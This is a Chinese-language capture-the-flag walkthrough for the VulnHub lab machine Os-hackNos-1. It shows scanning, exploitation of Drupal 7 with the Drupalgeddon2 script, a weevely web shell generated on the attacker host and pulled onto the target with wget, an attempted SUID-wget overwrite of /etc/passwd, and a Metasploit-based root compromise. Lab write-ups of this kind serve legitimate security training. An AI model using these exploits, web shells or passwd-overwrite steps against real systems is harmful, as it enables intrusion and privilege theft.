Os-hackNos-1

lxl3344發表於2024-03-28

一、環境搭建

實驗主機:kali-linux 2023 虛擬機器(VM)

實驗靶機:Os-hackNos-1 靶機(VM)

實驗網路:橋接模式

flag:1.普通使用者的user.txt;2.root使用者的user.txt

技能:漏洞利用 | web應用 | 暴力破解 | 許可權提升

靶機下載:https://www.vulnhub.com/entry/hacknos-os-hacknos,401/

二、資訊收集

主機發現:

  • 確認自己的資訊
1 ifconfig

  • 探測網段存活主機
1 nmap -sP 192.168.133.0/24

  • 也可以使用如下命令
1 netdiscover -i eth0 -r 192.168.133.0/24

埠掃描:

  • 探測作業系統及軟體版本資訊
1 nmap -sTV -p- -Pn 192.168.133.97

  • 經過探測發現開放22埠和80埠
1 22 埠 :SSH 服務埠,可能存在弱口令和暴力破解
2 80 埠 :HTTP 埠,可以透過目錄掃描,去發現網站目錄或者網站原始碼洩露或者備份檔案洩露
  • 訪問一下80埠

目錄探測:

  • 探測一下網站目錄資訊
1 dirb http://192.168.133.97

  • 可以看到網站CMS為drupal7,存在遠端程式碼執行的漏洞,使用kali的msf模組,搜尋drupal對應的exp

三、漏洞發現

  • CMS版本為drupal7,搜尋一下關於該版本的CMS漏洞

四、漏洞利用

1 將指令碼複製下來
2 git clone https://github.com/dreadlocked/Drupalgeddon2.git
3 
4 在執行指令碼前,需要預裝依賴包 highline
5 gem install highline
6 
7 執行指令碼
8 ruby drupalgeddon2.rb http://192.168.133.97/drupal/

  • 檢視許可權

  • 檢視目錄檔案

五、許可權提升

利用weevely(kali 菜刀)

  • 使用weevely 生成木馬,再將木馬上傳到靶機上
1 生成木馬:
2 weevely generate hello ./door.php
3 
4 開啟kali web伺服器:
5 python -m http.server 80
6 
7 在靶機上使用wget工具下載 kali 上生成的木馬檔案:
8 wget http://192.168.133.125:80/door.php

  • 使用weevely生成的木馬內容

  • 連線靶機,注意此處許可權和路徑問題會導致連線失敗
1 weevely http://192.168.133.97/drupal/door.php hello

瀏覽使用者目錄

  • 檢視是否存在有用的資訊
1 cd /home
2 ls -lh
3 cd james/
4 ls -lh
5 cat user.txt

  • 在 james 使用者目錄下發現一串MD5雜湊值,解碼失敗
1 bae11ce4f67af91fa58576c1da2aad4b
  • 瀏覽一下網站根目錄,發現其他檔案

  • 解碼之後再次使用Brainfuck解碼

  • 得到:james:Hacker@4514

切換使用者

  • 嘗試切換使用者,發現不能切換使用者

suid 提權

  • 檢查哪些命令具有suid許可權(具有suid許可權的命令可以以檔案擁有者的許可權執行)
1  audit_suidsgid -only-suid /

  • 看到擁有wget的許可權,這裡的思路是把/etc/passwd的檔案下載下來,然後新增一個具有root許可權的使用者,再傳回去覆蓋它。首先進行建立一個使用者
1 openssl passwd -1 -salt 賬號 密碼

  • 搭建web伺服器,把靶機上的/etc/passwd下載下來

  • 然後將剛才建立的使用者加入進去,並在kali上開一個web伺服器,用靶機連線下載已經更改的/ect/passwd去覆蓋掉原來的檔案即可

  • 然後檢視靶機上是否有新增賬戶,發現lxx賬號資訊即建立成功

  • 切換失敗,此方法行不通

利用metasploit

  • 搜尋漏洞元件

  • 選擇使用的工具模組,並設定相關引數

  • 檢視設定引數

  • 攻擊成功後,顯示沒有互動式shell,需要提升為互動式shell
1 python3 -c "import pty;pty.spawn('/bin/bash')"

  • 得到許可權後切換使用者,再次失敗

錯誤總結

  • 最終結合經驗發現,寫入新建的賬戶有問題,即覆蓋的root許可權的使用者建立失敗

  • 更改為admin賬戶後,在metasploit獲得許可權後即可切換使用者

  • 最後進入/root 目錄下檢視root.txt 完成測試